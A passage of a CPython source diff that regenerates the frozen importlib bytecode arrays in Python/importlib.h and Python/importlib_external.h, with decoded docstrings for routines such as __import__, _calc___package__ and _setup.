-    78,114,117,0,0,0,41,8,114,182,0,0,0,114,193,0,
-    0,0,218,9,112,97,114,116,105,116,105,111,110,114,159,0,
-    0,0,114,14,0,0,0,114,79,0,0,0,114,1,0,0,
-    0,114,189,0,0,0,41,9,114,15,0,0,0,114,192,0,
-    0,0,218,6,108,111,99,97,108,115,114,187,0,0,0,114,
-    162,0,0,0,114,83,0,0,0,90,8,103,108,111,98,97,
-    108,115,95,114,161,0,0,0,90,7,99,117,116,95,111,102,
-    102,114,10,0,0,0,114,10,0,0,0,114,11,0,0,0,
-    218,10,95,95,105,109,112,111,114,116,95,95,23,4,0,0,
-    115,26,0,0,0,0,11,8,1,10,2,16,1,8,1,12,
-    1,4,3,8,1,20,1,4,1,6,4,26,3,32,2,114,
-    196,0,0,0,99,1,0,0,0,0,0,0,0,2,0,0,
-    0,3,0,0,0,67,0,0,0,115,38,0,0,0,116,0,
-    106,1,124,0,131,1,125,1,124,1,100,0,107,8,114,30,
-    116,2,100,1,124,0,23,0,131,1,130,1,116,3,124,1,
-    131,1,83,0,41,2,78,122,25,110,111,32,98,117,105,108,
-    116,45,105,110,32,109,111,100,117,108,101,32,110,97,109,101,
-    100,32,41,4,114,142,0,0,0,114,146,0,0,0,114,70,
-    0,0,0,114,141,0,0,0,41,2,114,15,0,0,0,114,
-    82,0,0,0,114,10,0,0,0,114,10,0,0,0,114,11,
-    0,0,0,218,18,95,98,117,105,108,116,105,110,95,102,114,
-    111,109,95,110,97,109,101,58,4,0,0,115,8,0,0,0,
-    0,1,10,1,8,1,12,1,114,197,0,0,0,99,2,0,
-    0,0,0,0,0,0,12,0,0,0,12,0,0,0,67,0,
-    0,0,115,244,0,0,0,124,1,97,0,124,0,97,1,116,
-    2,116,1,131,1,125,2,120,86,116,1,106,3,106,4,131,
-    0,68,0,93,72,92,2,125,3,125,4,116,5,124,4,124,
-    2,131,2,114,28,124,3,116,1,106,6,107,6,114,62,116,
-    7,125,5,110,18,116,0,106,8,124,3,131,1,114,28,116,
-    9,125,5,110,2,113,28,116,10,124,4,124,5,131,2,125,
-    6,116,11,124,6,124,4,131,2,1,0,113,28,87,0,116,
-    1,106,3,116,12,25,0,125,7,120,54,100,5,68,0,93,
-    46,125,8,124,8,116,1,106,3,107,7,114,144,116,13,124,
-    8,131,1,125,9,110,10,116,1,106,3,124,8,25,0,125,
-    9,116,14,124,7,124,8,124,9,131,3,1,0,113,120,87,
-    0,121,12,116,13,100,2,131,1,125,10,87,0,110,24,4,
-    0,116,15,107,10,114,206,1,0,1,0,1,0,100,3,125,
-    10,89,0,110,2,88,0,116,14,124,7,100,2,124,10,131,
-    3,1,0,116,13,100,4,131,1,125,11,116,14,124,7,100,
-    4,124,11,131,3,1,0,100,3,83,0,41,6,122,250,83,
-    101,116,117,112,32,105,109,112,111,114,116,108,105,98,32,98,
-    121,32,105,109,112,111,114,116,105,110,103,32,110,101,101,100,
-    101,100,32,98,117,105,108,116,45,105,110,32,109,111,100,117,
-    108,101,115,32,97,110,100,32,105,110,106,101,99,116,105,110,
-    103,32,116,104,101,109,10,32,32,32,32,105,110,116,111,32,
-    116,104,101,32,103,108,111,98,97,108,32,110,97,109,101,115,
-    112,97,99,101,46,10,10,32,32,32,32,65,115,32,115,121,
-    115,32,105,115,32,110,101,101,100,101,100,32,102,111,114,32,
-    115,121,115,46,109,111,100,117,108,101,115,32,97,99,99,101,
-    115,115,32,97,110,100,32,95,105,109,112,32,105,115,32,110,
-    101,101,100,101,100,32,116,111,32,108,111,97,100,32,98,117,
-    105,108,116,45,105,110,10,32,32,32,32,109,111,100,117,108,
-    101,115,44,32,116,104,111,115,101,32,116,119,111,32,109,111,
-    100,117,108,101,115,32,109,117,115,116,32,98,101,32,101,120,
-    112,108,105,99,105,116,108,121,32,112,97,115,115,101,100,32,
-    105,110,46,10,10,32,32,32,32,114,167,0,0,0,114,20,
-    0,0,0,78,114,55,0,0,0,41,1,122,9,95,119,97,
-    114,110,105,110,103,115,41,16,114,46,0,0,0,114,14,0,
-    0,0,114,13,0,0,0,114,79,0,0,0,218,5,105,116,
-    101,109,115,114,171,0,0,0,114,69,0,0,0,114,142,0,
-    0,0,114,75,0,0,0,114,152,0,0,0,114,128,0,0,
-    0,114,133,0,0,0,114,1,0,0,0,114,197,0,0,0,
-    114,5,0,0,0,114,70,0,0,0,41,12,218,10,115,121,
-    115,95,109,111,100,117,108,101,218,11,95,105,109,112,95,109,
-    111,100,117,108,101,90,11,109,111,100,117,108,101,95,116,121,
-    112,101,114,15,0,0,0,114,83,0,0,0,114,93,0,0,
-    0,114,82,0,0,0,90,11,115,101,108,102,95,109,111,100,
-    117,108,101,90,12,98,117,105,108,116,105,110,95,110,97,109,
-    101,90,14,98,117,105,108,116,105,110,95,109,111,100,117,108,
-    101,90,13,116,104,114,101,97,100,95,109,111,100,117,108,101,
-    90,14,119,101,97,107,114,101,102,95,109,111,100,117,108,101,
-    114,10,0,0,0,114,10,0,0,0,114,11,0,0,0,218,
-    6,95,115,101,116,117,112,65,4,0,0,115,50,0,0,0,
-    0,9,4,1,4,3,8,1,20,1,10,1,10,1,6,1,
-    10,1,6,2,2,1,10,1,14,3,10,1,10,1,10,1,
-    10,2,10,1,16,3,2,1,12,1,14,2,10,1,12,3,
-    8,1,114,201,0,0,0,99,2,0,0,0,0,0,0,0,
-    3,0,0,0,3,0,0,0,67,0,0,0,115,66,0,0,
-    0,116,0,124,0,124,1,131,2,1,0,116,1,106,2,106,
-    3,116,4,131,1,1,0,116,1,106,2,106,3,116,5,131,
-    1,1,0,100,1,100,2,108,6,125,2,124,2,97,7,124,
-    2,106,8,116,1,106,9,116,10,25,0,131,1,1,0,100,
-    2,83,0,41,3,122,50,73,110,115,116,97,108,108,32,105,
-    109,112,111,114,116,108,105,98,32,97,115,32,116,104,101,32,
-    105,109,112,108,101,109,101,110,116,97,116,105,111,110,32,111,
-    102,32,105,109,112,111,114,116,46,114,19,0,0,0,78,41,
-    11,114,201,0,0,0,114,14,0,0,0,114,166,0,0,0,
-    114,109,0,0,0,114,142,0,0,0,114,152,0,0,0,218,
-    26,95,102,114,111,122,101,110,95,105,109,112,111,114,116,108,
-    105,98,95,101,120,116,101,114,110,97,108,114,115,0,0,0,
-    218,8,95,105,110,115,116,97,108,108,114,79,0,0,0,114,
-    1,0,0,0,41,3,114,199,0,0,0,114,200,0,0,0,
-    114,202,0,0,0,114,10,0,0,0,114,10,0,0,0,114,
-    11,0,0,0,114,203,0,0,0,112,4,0,0,115,12,0,
-    0,0,0,2,10,2,12,1,12,3,8,1,4,1,114,203,
-    0,0,0,41,2,78,78,41,1,78,41,2,78,114,19,0,
-    0,0,41,50,114,3,0,0,0,114,115,0,0,0,114,12,
-    0,0,0,114,16,0,0,0,114,51,0,0,0,114,29,0,
-    0,0,114,36,0,0,0,114,17,0,0,0,114,18,0,0,
-    0,114,41,0,0,0,114,42,0,0,0,114,45,0,0,0,
-    114,56,0,0,0,114,58,0,0,0,114,68,0,0,0,114,
-    74,0,0,0,114,77,0,0,0,114,84,0,0,0,114,95,
-    0,0,0,114,96,0,0,0,114,102,0,0,0,114,78,0,
-    0,0,218,6,111,98,106,101,99,116,90,9,95,80,79,80,
-    85,76,65,84,69,114,128,0,0,0,114,133,0,0,0,114,
-    136,0,0,0,114,91,0,0,0,114,80,0,0,0,114,140,
-    0,0,0,114,141,0,0,0,114,81,0,0,0,114,142,0,
-    0,0,114,152,0,0,0,114,157,0,0,0,114,163,0,0,
-    0,114,165,0,0,0,114,170,0,0,0,114,175,0,0,0,
-    90,15,95,69,82,82,95,77,83,71,95,80,82,69,70,73,
-    88,114,177,0,0,0,114,180,0,0,0,114,181,0,0,0,
-    114,182,0,0,0,114,189,0,0,0,114,193,0,0,0,114,
-    196,0,0,0,114,197,0,0,0,114,201,0,0,0,114,203,
-    0,0,0,114,10,0,0,0,114,10,0,0,0,114,10,0,
-    0,0,114,11,0,0,0,218,8,60,109,111,100,117,108,101,
-    62,8,0,0,0,115,94,0,0,0,4,17,4,2,8,8,
-    8,7,4,2,4,3,16,4,14,68,14,21,14,19,8,19,
-    8,19,8,11,14,8,8,11,8,12,8,16,8,36,14,27,
-    14,101,16,26,6,3,10,45,14,60,8,17,8,17,8,25,
-    8,29,8,23,8,16,14,73,14,77,14,13,8,9,8,9,
-    10,47,8,20,4,1,8,2,8,27,8,6,10,25,8,31,
-    8,27,18,35,8,7,8,47,
+    4,100,7,100,8,141,3,1,0,124,1,83,0,110,62,124,
+    2,100,3,107,9,114,100,124,2,106,1,83,0,110,46,116,
+    2,106,3,100,9,116,4,100,7,100,8,141,3,1,0,124,
+    0,100,10,25,0,125,1,100,11,124,0,107,7,114,146,124,
+    1,106,5,100,12,131,1,100,13,25,0,125,1,124,1,83,
+    0,41,14,122,167,67,97,108,99,117,108,97,116,101,32,119,
+    104,97,116,32,95,95,112,97,99,107,97,103,101,95,95,32,
+    115,104,111,117,108,100,32,98,101,46,10,10,32,32,32,32,
+    95,95,112,97,99,107,97,103,101,95,95,32,105,115,32,110,
+    111,116,32,103,117,97,114,97,110,116,101,101,100,32,116,111,
+    32,98,101,32,100,101,102,105,110,101,100,32,111,114,32,99,
+    111,117,108,100,32,98,101,32,115,101,116,32,116,111,32,78,
+    111,110,101,10,32,32,32,32,116,111,32,114,101,112,114,101,
+    115,101,110,116,32,116,104,97,116,32,105,116,115,32,112,114,
+    111,112,101,114,32,118,97,108,117,101,32,105,115,32,117,110,
+    107,110,111,119,110,46,10,10,32,32,32,32,114,130,0,0,
+    0,114,89,0,0,0,78,122,32,95,95,112,97,99,107,97,
+    103,101,95,95,32,33,61,32,95,95,115,112,101,99,95,95,
+    46,112,97,114,101,110,116,32,40,122,4,32,33,61,32,250,
+    1,41,233,3,0,0,0,41,1,90,10,115,116,97,99,107,
+    108,101,118,101,108,122,89,99,97,110,39,116,32,114,101,115,
+    111,108,118,101,32,112,97,99,107,97,103,101,32,102,114,111,
+    109,32,95,95,115,112,101,99,95,95,32,111,114,32,95,95,
+    112,97,99,107,97,103,101,95,95,44,32,102,97,108,108,105,
+    110,103,32,98,97,99,107,32,111,110,32,95,95,110,97,109,
+    101,95,95,32,97,110,100,32,95,95,112,97,116,104,95,95,
+    114,1,0,0,0,114,127,0,0,0,114,117,0,0,0,114,
+    19,0,0,0,41,6,114,30,0,0,0,114,119,0,0,0,
+    114,167,0,0,0,114,168,0,0,0,114,169,0,0,0,114,
+    118,0,0,0,41,3,218,7,103,108,111,98,97,108,115,114,
+    161,0,0,0,114,82,0,0,0,114,10,0,0,0,114,10,
+    0,0,0,114,11,0,0,0,218,17,95,99,97,108,99,95,
+    95,95,112,97,99,107,97,103,101,95,95,252,3,0,0,115,
+    30,0,0,0,0,7,10,1,10,1,8,1,18,1,22,2,
+    10,1,6,1,8,1,8,2,6,2,10,1,8,1,8,1,
+    14,1,114,193,0,0,0,99,5,0,0,0,0,0,0,0,
+    9,0,0,0,5,0,0,0,67,0,0,0,115,170,0,0,
+    0,124,4,100,1,107,2,114,18,116,0,124,0,131,1,125,
+    5,110,36,124,1,100,2,107,9,114,30,124,1,110,2,105,
+    0,125,6,116,1,124,6,131,1,125,7,116,0,124,0,124,
+    7,124,4,131,3,125,5,124,3,115,154,124,4,100,1,107,
+    2,114,86,116,0,124,0,106,2,100,3,131,1,100,1,25,
+    0,131,1,83,0,113,166,124,0,115,96,124,5,83,0,113,
+    166,116,3,124,0,131,1,116,3,124,0,106,2,100,3,131,
+    1,100,1,25,0,131,1,24,0,125,8,116,4,106,5,124,
+    5,106,6,100,2,116,3,124,5,106,6,131,1,124,8,24,
+    0,133,2,25,0,25,0,83,0,110,12,116,7,124,5,124,
+    3,116,0,131,3,83,0,100,2,83,0,41,4,97,215,1,
+    0,0,73,109,112,111,114,116,32,97,32,109,111,100,117,108,
+    101,46,10,10,32,32,32,32,84,104,101,32,39,103,108,111,
+    98,97,108,115,39,32,97,114,103,117,109,101,110,116,32,105,
+    115,32,117,115,101,100,32,116,111,32,105,110,102,101,114,32,
+    119,104,101,114,101,32,116,104,101,32,105,109,112,111,114,116,
+    32,105,115,32,111,99,99,117,114,114,105,110,103,32,102,114,
+    111,109,10,32,32,32,32,116,111,32,104,97,110,100,108,101,
+    32,114,101,108,97,116,105,118,101,32,105,109,112,111,114,116,
+    115,46,32,84,104,101,32,39,108,111,99,97,108,115,39,32,
+    97,114,103,117,109,101,110,116,32,105,115,32,105,103,110,111,
+    114,101,100,46,32,84,104,101,10,32,32,32,32,39,102,114,
+    111,109,108,105,115,116,39,32,97,114,103,117,109,101,110,116,
+    32,115,112,101,99,105,102,105,101,115,32,119,104,97,116,32,
+    115,104,111,117,108,100,32,101,120,105,115,116,32,97,115,32,
+    97,116,116,114,105,98,117,116,101,115,32,111,110,32,116,104,
+    101,32,109,111,100,117,108,101,10,32,32,32,32,98,101,105,
+    110,103,32,105,109,112,111,114,116,101,100,32,40,101,46,103,
+    46,32,96,96,102,114,111,109,32,109,111,100,117,108,101,32,
+    105,109,112,111,114,116,32,60,102,114,111,109,108,105,115,116,
+    62,96,96,41,46,32,32,84,104,101,32,39,108,101,118,101,
+    108,39,10,32,32,32,32,97,114,103,117,109,101,110,116,32,
+    114,101,112,114,101,115,101,110,116,115,32,116,104,101,32,112,
+    97,99,107,97,103,101,32,108,111,99,97,116,105,111,110,32,
+    116,111,32,105,109,112,111,114,116,32,102,114,111,109,32,105,
+    110,32,97,32,114,101,108,97,116,105,118,101,10,32,32,32,
+    32,105,109,112,111,114,116,32,40,101,46,103,46,32,96,96,
+    102,114,111,109,32,46,46,112,107,103,32,105,109,112,111,114,
+    116,32,109,111,100,96,96,32,119,111,117,108,100,32,104,97,
+    118,101,32,97,32,39,108,101,118,101,108,39,32,111,102,32,
+    50,41,46,10,10,32,32,32,32,114,19,0,0,0,78,114,
+    117,0,0,0,41,8,114,182,0,0,0,114,193,0,0,0,
+    218,9,112,97,114,116,105,116,105,111,110,114,159,0,0,0,
+    114,14,0,0,0,114,79,0,0,0,114,1,0,0,0,114,
+    189,0,0,0,41,9,114,15,0,0,0,114,192,0,0,0,
+    218,6,108,111,99,97,108,115,114,187,0,0,0,114,162,0,
+    0,0,114,83,0,0,0,90,8,103,108,111,98,97,108,115,
+    95,114,161,0,0,0,90,7,99,117,116,95,111,102,102,114,
+    10,0,0,0,114,10,0,0,0,114,11,0,0,0,218,10,
+    95,95,105,109,112,111,114,116,95,95,23,4,0,0,115,26,
+    0,0,0,0,11,8,1,10,2,16,1,8,1,12,1,4,
+    3,8,1,20,1,4,1,6,4,26,3,32,2,114,196,0,
+    0,0,99,1,0,0,0,0,0,0,0,2,0,0,0,3,
+    0,0,0,67,0,0,0,115,38,0,0,0,116,0,106,1,
+    124,0,131,1,125,1,124,1,100,0,107,8,114,30,116,2,
+    100,1,124,0,23,0,131,1,130,1,116,3,124,1,131,1,
+    83,0,41,2,78,122,25,110,111,32,98,117,105,108,116,45,
+    105,110,32,109,111,100,117,108,101,32,110,97,109,101,100,32,
+    41,4,114,142,0,0,0,114,146,0,0,0,114,70,0,0,
+    0,114,141,0,0,0,41,2,114,15,0,0,0,114,82,0,
+    0,0,114,10,0,0,0,114,10,0,0,0,114,11,0,0,
+    0,218,18,95,98,117,105,108,116,105,110,95,102,114,111,109,
+    95,110,97,109,101,58,4,0,0,115,8,0,0,0,0,1,
+    10,1,8,1,12,1,114,197,0,0,0,99,2,0,0,0,
+    0,0,0,0,12,0,0,0,12,0,0,0,67,0,0,0,
+    115,244,0,0,0,124,1,97,0,124,0,97,1,116,2,116,
+    1,131,1,125,2,120,86,116,1,106,3,106,4,131,0,68,
+    0,93,72,92,2,125,3,125,4,116,5,124,4,124,2,131,
+    2,114,28,124,3,116,1,106,6,107,6,114,62,116,7,125,
+    5,110,18,116,0,106,8,124,3,131,1,114,28,116,9,125,
+    5,110,2,113,28,116,10,124,4,124,5,131,2,125,6,116,
+    11,124,6,124,4,131,2,1,0,113,28,87,0,116,1,106,
+    3,116,12,25,0,125,7,120,54,100,5,68,0,93,46,125,
+    8,124,8,116,1,106,3,107,7,114,144,116,13,124,8,131,
+    1,125,9,110,10,116,1,106,3,124,8,25,0,125,9,116,
+    14,124,7,124,8,124,9,131,3,1,0,113,120,87,0,121,
+    12,116,13,100,2,131,1,125,10,87,0,110,24,4,0,116,
+    15,107,10,114,206,1,0,1,0,1,0,100,3,125,10,89,
+    0,110,2,88,0,116,14,124,7,100,2,124,10,131,3,1,
+    0,116,13,100,4,131,1,125,11,116,14,124,7,100,4,124,
+    11,131,3,1,0,100,3,83,0,41,6,122,250,83,101,116,
+    117,112,32,105,109,112,111,114,116,108,105,98,32,98,121,32,
+    105,109,112,111,114,116,105,110,103,32,110,101,101,100,101,100,
+    32,98,117,105,108,116,45,105,110,32,109,111,100,117,108,101,
+    115,32,97,110,100,32,105,110,106,101,99,116,105,110,103,32,
+    116,104,101,109,10,32,32,32,32,105,110,116,111,32,116,104,
+    101,32,103,108,111,98,97,108,32,110,97,109,101,115,112,97,
+    99,101,46,10,10,32,32,32,32,65,115,32,115,121,115,32,
+    105,115,32,110,101,101,100,101,100,32,102,111,114,32,115,121,
+    115,46,109,111,100,117,108,101,115,32,97,99,99,101,115,115,
+    32,97,110,100,32,95,105,109,112,32,105,115,32,110,101,101,
+    100,101,100,32,116,111,32,108,111,97,100,32,98,117,105,108,
+    116,45,105,110,10,32,32,32,32,109,111,100,117,108,101,115,
+    44,32,116,104,111,115,101,32,116,119,111,32,109,111,100,117,
+    108,101,115,32,109,117,115,116,32,98,101,32,101,120,112,108,
+    105,99,105,116,108,121,32,112,97,115,115,101,100,32,105,110,
+    46,10,10,32,32,32,32,114,167,0,0,0,114,20,0,0,
+    0,78,114,55,0,0,0,41,1,122,9,95,119,97,114,110,
+    105,110,103,115,41,16,114,46,0,0,0,114,14,0,0,0,
+    114,13,0,0,0,114,79,0,0,0,218,5,105,116,101,109,
+    115,114,171,0,0,0,114,69,0,0,0,114,142,0,0,0,
+    114,75,0,0,0,114,152,0,0,0,114,128,0,0,0,114,
+    133,0,0,0,114,1,0,0,0,114,197,0,0,0,114,5,
+    0,0,0,114,70,0,0,0,41,12,218,10,115,121,115,95,
+    109,111,100,117,108,101,218,11,95,105,109,112,95,109,111,100,
+    117,108,101,90,11,109,111,100,117,108,101,95,116,121,112,101,
+    114,15,0,0,0,114,83,0,0,0,114,93,0,0,0,114,
+    82,0,0,0,90,11,115,101,108,102,95,109,111,100,117,108,
+    101,90,12,98,117,105,108,116,105,110,95,110,97,109,101,90,
+    14,98,117,105,108,116,105,110,95,109,111,100,117,108,101,90,
+    13,116,104,114,101,97,100,95,109,111,100,117,108,101,90,14,
+    119,101,97,107,114,101,102,95,109,111,100,117,108,101,114,10,
+    0,0,0,114,10,0,0,0,114,11,0,0,0,218,6,95,
+    115,101,116,117,112,65,4,0,0,115,50,0,0,0,0,9,
+    4,1,4,3,8,1,20,1,10,1,10,1,6,1,10,1,
+    6,2,2,1,10,1,14,3,10,1,10,1,10,1,10,2,
+    10,1,16,3,2,1,12,1,14,2,10,1,12,3,8,1,
+    114,201,0,0,0,99,2,0,0,0,0,0,0,0,3,0,
+    0,0,3,0,0,0,67,0,0,0,115,66,0,0,0,116,
+    0,124,0,124,1,131,2,1,0,116,1,106,2,106,3,116,
+    4,131,1,1,0,116,1,106,2,106,3,116,5,131,1,1,
+    0,100,1,100,2,108,6,125,2,124,2,97,7,124,2,106,
+    8,116,1,106,9,116,10,25,0,131,1,1,0,100,2,83,
+    0,41,3,122,50,73,110,115,116,97,108,108,32,105,109,112,
+    111,114,116,108,105,98,32,97,115,32,116,104,101,32,105,109,
+    112,108,101,109,101,110,116,97,116,105,111,110,32,111,102,32,
+    105,109,112,111,114,116,46,114,19,0,0,0,78,41,11,114,
+    201,0,0,0,114,14,0,0,0,114,166,0,0,0,114,109,
+    0,0,0,114,142,0,0,0,114,152,0,0,0,218,26,95,
+    102,114,111,122,101,110,95,105,109,112,111,114,116,108,105,98,
+    95,101,120,116,101,114,110,97,108,114,115,0,0,0,218,8,
+    95,105,110,115,116,97,108,108,114,79,0,0,0,114,1,0,
+    0,0,41,3,114,199,0,0,0,114,200,0,0,0,114,202,
+    0,0,0,114,10,0,0,0,114,10,0,0,0,114,11,0,
+    0,0,114,203,0,0,0,112,4,0,0,115,12,0,0,0,
+    0,2,10,2,12,1,12,3,8,1,4,1,114,203,0,0,
+    0,41,2,78,78,41,1,78,41,2,78,114,19,0,0,0,
+    41,50,114,3,0,0,0,114,115,0,0,0,114,12,0,0,
+    0,114,16,0,0,0,114,51,0,0,0,114,29,0,0,0,
+    114,36,0,0,0,114,17,0,0,0,114,18,0,0,0,114,
+    41,0,0,0,114,42,0,0,0,114,45,0,0,0,114,56,
+    0,0,0,114,58,0,0,0,114,68,0,0,0,114,74,0,
+    0,0,114,77,0,0,0,114,84,0,0,0,114,95,0,0,
+    0,114,96,0,0,0,114,102,0,0,0,114,78,0,0,0,
+    218,6,111,98,106,101,99,116,90,9,95,80,79,80,85,76,
+    65,84,69,114,128,0,0,0,114,133,0,0,0,114,136,0,
+    0,0,114,91,0,0,0,114,80,0,0,0,114,140,0,0,
+    0,114,141,0,0,0,114,81,0,0,0,114,142,0,0,0,
+    114,152,0,0,0,114,157,0,0,0,114,163,0,0,0,114,
+    165,0,0,0,114,170,0,0,0,114,175,0,0,0,90,15,
+    95,69,82,82,95,77,83,71,95,80,82,69,70,73,88,114,
+    177,0,0,0,114,180,0,0,0,114,181,0,0,0,114,182,
+    0,0,0,114,189,0,0,0,114,193,0,0,0,114,196,0,
+    0,0,114,197,0,0,0,114,201,0,0,0,114,203,0,0,
+    0,114,10,0,0,0,114,10,0,0,0,114,10,0,0,0,
+    114,11,0,0,0,218,8,60,109,111,100,117,108,101,62,8,
+    0,0,0,115,94,0,0,0,4,17,4,2,8,8,8,7,
+    4,2,4,3,16,4,14,68,14,21,14,19,8,19,8,19,
+    8,11,14,8,8,11,8,12,8,16,8,36,14,27,14,101,
+    16,26,6,3,10,45,14,60,8,17,8,17,8,25,8,29,
+    8,23,8,16,14,73,14,77,14,13,8,9,8,9,10,47,
+    8,20,4,1,8,2,8,27,8,6,10,25,8,31,8,27,
+    18,35,8,7,8,47,
 };
diff -r 98a57845c8cc Python/importlib_external.h
--- a/Python/importlib_external.h	Fri Sep 09 07:38:50 2016 +0000
+++ b/Python/importlib_external.h	Fri Sep 09 22:43:11 2016 +0300
@@ -139,16 +139,16 @@ const unsigned char _Py_M__importlib_ext
     114,4,0,0,0,114,6,0,0,0,218,10,95,112,97,116,
     104,95,106,111,105,110,57,0,0,0,115,4,0,0,0,0,
     2,10,1,114,30,0,0,0,99,1,0,0,0,0,0,0,
-    0,5,0,0,0,5,0,0,0,67,0,0,0,115,98,0,
+    0,5,0,0,0,5,0,0,0,67,0,0,0,115,96,0,
     0,0,116,0,116,1,131,1,100,1,107,2,114,36,124,0,
     106,2,116,3,131,1,92,3,125,1,125,2,125,3,124,1,
-    124,3,102,2,83,0,120,52,116,4,124,0,131,1,68,0,
-    93,40,125,4,124,4,116,1,107,6,114,46,124,0,106,5,
-    124,4,100,2,100,1,144,1,131,1,92,2,125,1,125,3,
-    124,1,124,3,102,2,83,0,113,46,87,0,100,3,124,0,
-    102,2,83,0,41,4,122,32,82,101,112,108,97,99,101,109,
-    101,110,116,32,102,111,114,32,111,115,46,112,97,116,104,46,
-    115,112,108,105,116,40,41,46,233,1,0,0,0,90,8,109,
+    124,3,102,2,83,0,120,50,116,4,124,0,131,1,68,0,
+    93,38,125,4,124,4,116,1,107,6,114,46,124,0,106,5,
+    124,4,100,1,100,2,141,2,92,2,125,1,125,3,124,1,
+    124,3,102,2,83,0,113,46,87,0,100,3,124,0,102,2,
+    83,0,41,4,122,32,82,101,112,108,97,99,101,109,101,110,
+    116,32,102,111,114,32,111,115,46,112,97,116,104,46,115,112,
+    108,105,116,40,41,46,233,1,0,0,0,41,1,90,8,109,
     97,120,115,112,108,105,116,218,0,41,6,218,3,108,101,110,
     114,23,0,0,0,218,10,114,112,97,114,116,105,116,105,111,
     110,114,27,0,0,0,218,8,114,101,118,101,114,115,101,100,
@@ -157,7 +157,7 @@ const unsigned char _Py_M__importlib_ext
     114,18,0,0,0,114,4,0,0,0,114,4,0,0,0,114,
     6,0,0,0,218,11,95,112,97,116,104,95,115,112,108,105,
     116,63,0,0,0,115,16,0,0,0,0,2,12,1,16,1,
-    8,1,14,1,8,1,20,1,12,1,114,40,0,0,0,99,
+    8,1,14,1,8,1,18,1,12,1,114,40,0,0,0,99,
     1,0,0,0,0,0,0,0,1,0,0,0,2,0,0,0,
     67,0,0,0,115,10,0,0,0,116,0,106,1,124,0,131,
     1,83,0,41,1,122,126,83,116,97,116,32,116,104,101,32,
@@ -242,7 +242,7 @@ const unsigned char _Py_M__importlib_ext
     101,95,97,116,111,109,105,99,106,0,0,0,115,26,0,0,
     0,0,5,16,1,6,1,26,1,2,3,14,1,20,1,16,
     1,14,1,2,1,14,1,14,1,6,1,114,58,0,0,0,
-    105,47,13,0,0,233,2,0,0,0,114,15,0,0,0,115,
+    105,48,13,0,0,233,2,0,0,0,114,15,0,0,0,115,
     2,0,0,0,13,10,90,11,95,95,112,121,99,97,99,104,
     101,95,95,122,4,111,112,116,45,122,3,46,112,121,122,4,
     46,112,121,99,78,41,1,218,12,111,112,116,105,109,105,122,
@@ -346,7 +346,7 @@ const unsigned char _Py_M__importlib_ext
     103,90,15,97,108,109,111,115,116,95,102,105,108,101,110,97,
     109,101,114,4,0,0,0,114,4,0,0,0,114,6,0,0,
     0,218,17,99,97,99,104,101,95,102,114,111,109,95,115,111,
-    117,114,99,101,3,1,0,0,115,48,0,0,0,0,18,8,
+    117,114,99,101,4,1,0,0,115,48,0,0,0,0,18,8,
     1,6,1,6,1,8,1,4,1,8,1,12,1,10,1,12,
     1,16,1,8,1,8,1,8,1,24,1,8,1,12,1,6,
     2,8,1,8,1,8,1,8,1,14,1,14,1,114,83,0,
@@ -420,7 +420,7 @@ const unsigned char _Py_M__importlib_ext
     112,116,95,108,101,118,101,108,90,13,98,97,115,101,95,102,
     105,108,101,110,97,109,101,114,4,0,0,0,114,4,0,0,
     0,114,6,0,0,0,218,17,115,111,117,114,99,101,95,102,
-    114,111,109,95,99,97,99,104,101,48,1,0,0,115,46,0,
+    114,111,109,95,99,97,99,104,101,49,1,0,0,115,46,0,
     0,0,0,9,12,1,8,1,10,1,12,1,12,1,8,1,
     6,1,10,1,10,1,8,1,6,1,10,1,8,1,16,1,
     10,1,6,1,8,1,16,1,8,1,6,1,8,1,14,1,
@@ -456,7 +456,7 @@ const unsigned char _Py_M__importlib_ext
     115,105,111,110,218,11,115,111,117,114,99,101,95,112,97,116,
     104,114,4,0,0,0,114,4,0,0,0,114,6,0,0,0,
     218,15,95,103,101,116,95,115,111,117,114,99,101,102,105,108,
-    101,82,1,0,0,115,20,0,0,0,0,7,12,1,4,1,
+    101,83,1,0,0,115,20,0,0,0,0,7,12,1,4,1,
     16,1,26,1,4,1,2,1,12,1,18,1,18,1,114,95,
     0,0,0,99,1,0,0,0,0,0,0,0,1,0,0,0,
     11,0,0,0,67,0,0,0,115,74,0,0,0,124,0,106,
@@ -469,7 +469,7 @@ const unsigned char _Py_M__importlib_ext
     0,0,114,83,0,0,0,114,70,0,0,0,114,78,0,0,
     0,41,1,218,8,102,105,108,101,110,97,109,101,114,4,0,
     0,0,114,4,0,0,0,114,6,0,0,0,218,11,95,103,
-    101,116,95,99,97,99,104,101,100,101,1,0,0,115,16,0,
+    101,116,95,99,97,99,104,101,100,102,1,0,0,115,16,0,
     0,0,0,1,14,1,2,1,8,1,14,1,8,1,14,1,
     6,2,114,99,0,0,0,99,1,0,0,0,0,0,0,0,
     2,0,0,0,11,0,0,0,67,0,0,0,115,52,0,0,
@@ -483,7 +483,7 @@ const unsigned char _Py_M__importlib_ext
     0,233,128,0,0,0,41,3,114,41,0,0,0,114,43,0,
     0,0,114,42,0,0,0,41,2,114,37,0,0,0,114,44,
     0,0,0,114,4,0,0,0,114,4,0,0,0,114,6,0,
-    0,0,218,10,95,99,97,108,99,95,109,111,100,101,113,1,
+    0,0,218,10,95,99,97,108,99,95,109,111,100,101,114,1,
     0,0,115,12,0,0,0,0,2,2,1,14,1,14,1,10,
     3,8,1,114,101,0,0,0,99,1,0,0,0,0,0,0,
     0,3,0,0,0,11,0,0,0,3,0,0,0,115,68,0,
@@ -508,554 +508,578 @@ const unsigned char _Py_M__importlib_ext
     97,105,108,115,32,116,104,101,110,32,73,109,112,111,114,116,
     69,114,114,111,114,32,105,115,32,114,97,105,115,101,100,46,
     10,10,32,32,32,32,78,99,2,0,0,0,0,0,0,0,
-    4,0,0,0,5,0,0,0,31,0,0,0,115,64,0,0,
+    4,0,0,0,4,0,0,0,31,0,0,0,115,66,0,0,
     0,124,1,100,0,107,8,114,16,124,0,106,0,125,1,110,
-    34,124,0,106,0,124,1,107,3,114,50,116,1,100,1,124,
-    0,106,0,124,1,102,2,22,0,100,2,124,1,144,1,131,
-    1,130,1,136,0,124,0,124,1,124,2,124,3,142,2,83,
-    0,41,3,78,122,30,108,111,97,100,101,114,32,102,111,114,
-    32,37,115,32,99,97,110,110,111,116,32,104,97,110,100,108,
-    101,32,37,115,218,4,110,97,109,101,41,2,114,102,0,0,
-    0,218,11,73,109,112,111,114,116,69,114,114,111,114,41,4,
-    218,4,115,101,108,102,114,102,0,0,0,218,4,97,114,103,
-    115,90,6,107,119,97,114,103,115,41,1,218,6,109,101,116,
-    104,111,100,114,4,0,0,0,114,6,0,0,0,218,19,95,
-    99,104,101,99,107,95,110,97,109,101,95,119,114,97,112,112,
